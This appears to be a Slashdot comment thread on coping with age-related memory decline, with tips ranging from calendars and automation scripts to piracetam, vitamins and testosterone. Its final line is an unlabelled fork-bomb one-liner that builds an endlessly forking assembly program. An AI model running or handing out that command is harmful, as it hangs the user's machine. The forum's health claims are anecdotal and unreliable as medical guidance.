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How to Deal With an Aging Brain?
An anonymous reader writes "I'm sure this is something all older Slashdotters are aware of: as I get older my once-sharp brain is, well, getting worse. In particular, I'm not able to remember things as well as I once did. As a geek my capacity in this area was always what defined me as a geek. Nowadays things seem to go in OK, but then leak out. A few weeks later I've mostly forgotten. So, I ask Slashdot: how do you cope with your mind getting older? What's your trick? Fish-oil? Brain Training on the DS? Exercise? Or just trying harder to remember things?"
Simply take yourself out of situations where it matters ;p
Seriously though.. where I work a lot of the "older guy's" tend to migrate into roles where they don't need to keep mountains of info bouncing around their head all the time. Roles where people come to them for guidance and advice.. but don't expect them to know the ins and outs of the systems. Let the young guys be the walking encyclopedias while you chill-ax into retirement.
I think I'll take over the spaceship and kill all the astronauts.
"The average reporter we talk to is 27 years old......They literally know nothing." - Ben Rhodes
I had an elective castration, and am on testosterone replacement after I found myself not remembering as well as I did before. Really helped in that area. Check your levels to see if they warrant some replacement.
I recommend Piracetam: the first Nootropic ("smart drug").
It is extremely safe, and is widely used in Europe to help reverse the effects of aging and to help against the deterioration of memory, among other things (note: I am not a doctor).
There are numerous forums and communities on nootropics, both for anti-aging and productivity-boosting needs. However, make sure you take the advice from those places with the appropriately-sized grain of salt, and always double-check everything with a proper medical resource (i.e. peer-reviewed studies).
I won't get into the details here, because I already did that in an older post (related to stimulants, but it is nonetheless relevant here too). Yes, I guess this qualifies as karma whoring ;)
My previous post on Piracetam: http://slashdot.org/comments.pl?sid=562684&cid=23523554
Wikipedia on Piracetam: http://en.wikipedia.org/wiki/Piracetam
Erowid on Nootropics: http://www.erowid.org/smarts/
Can't say more than that. I've seen many young hotshots that can run rings around me as day to day sysadmins. What I've became good at, as a sysadmin, is fixing something once and then automating the fix. I forget pretty quickly how I fixed the problem before, but I can always read the comments in the script I wrote to make sure it doesn't happen again.
No, when you get older it is called "software" instead of firmware.
The notion that memory == intelligence is just wrong. Just get over it, and let a computer do all the memory for you. Use your brain for what it's uniquely qualified to do.
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Stay tuned for some shock and awe coming right up after this messages!
This recent Slashdot thread (and the accomplishing article) discussed the effectiveness of brain training games.
In that thread, I pointed to Brain Workshop, an open source version of the game used in this study by Susanne Jaeggi, a psychologist at the University of Michigan. The study deals with improving "fluid intelligence" - the part of your mind that deals directly with the raw newness of experience or, as defined by Jaeggi, "the ability to reason and to solve new problems independently of previously acquired knowledge."
Others pointed out there's also a Javascipt version that's much more light-weight.
I use to be very anal about remembering every detail. As I've gotten older I'm less concerned with this. I use technology (Outlook calendar/tasks, smartphone, Google Calendar for personal) to remember less and remind me when needed. I only concern myself with concepts and only sweat the details when it comes to actually doing the job.
I feel far less stressed out than I did when I'd try to remember every little ol' thing simply because I thought I needed to be a pedantic nerd. As a bonus I'm realizing there is more to living contently and I feel I have more time to spend on other things.
On top of it all I also make sure to leave the damn things at home when I'm going to do something and don't want distractions. Work can pay me 24/7 if they want me to be available 24/7. Otherwise when I'm not at the office I don't really care.
I do still take the time to know the important things: Birthdays, anniversaries, etc..
No sig for you!!
and I've started making efforts to use external memory as much as possible: calendars, phonebooks, todo lists. All the things I didn't need 10 years ago.
i've been told that a good diet and exercise can help, but it's not THAT bad yet.
i forget people's names right after they introduce themselves. i lose my car keys every morning.
my daughter (8) is taking advantage of this; "daddy, remember you told me you'd take me to a movie." shit, maybe I did.
I bet this suggestion gets ignored completely! This IS Slashdot after all!
Bah!
Either your diet is *terrible*, or you're taking pills you DO NOT need. Don't believe me? Do some minimal research.
I suggest you do some minimal research on vitamin absorption and aging. (hint - it doesn't get better). You are correct that most under 30's don't need vitamins, but by the time you hit 40, B12, C, and D aren't absorbed as well. For mental functioning, B12 is the big one. You can Google "vitamin absorption aging" and your favorite vitamin, or read a few of these:
B12
B12
C
D
Really most studies show that mans brain power peaks at age 39, and I can say as someone approaching that age, I have never been more mentally capable as I was in my mid to late 30s. And I am 39 next month. Mylein peaks and then degenerates after 39, in recent studies, so mid 20s is out the window. I learned spanish fluently at age 31. Granted I was in Colombia and that was all I could speak. My father went to lawchool at 46, graduated at 52, top of his class, and, three years later had a phd in philosophy, again top of his class. Your mid 20's is nothing but hormonal and easy to get over hangover age. I did not come into my own physically and mentally until I passed 30.
The Revolution Will Not Be Televised
One trick is to tell them stories that don't go anywhere.
Like that time I took the ferry over to Shelbyville; I needed a new heel for my shoe. So, I decided to go to Morganville, which is what they called Shelbyville in those days. So I tied an onion to my belt, which was the style at the time. Now, to take the ferry cost a nickel, and in those days, nickels had pictures of bumblebees on them. 'Give me five bees for a quarter,' you'd say.
Now where were we?
Oh yeah, the important thing was that I had an onion on my belt, which was the style at the time.
Keep in mind, that psychosis tends to diminish your effective mental ability. If you actually want to keep your job and perform well, the first thing you'd do is try to drop this irrational suicide-complex. (After that, you might want to consider that you don't actually care that much about your performance, and that you are living an act of collectivist desperation.)
Something you might want to consider is that you are engaging in the oldest and most inefficient form of collectivism: self-debasement to a figure of power, wrapped up in a mystical sheath of righteousness and "power".
Get psychological help while you're still drawing breath and a salary.
WHO ARE YOU CALLING A PSYCHO?!
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;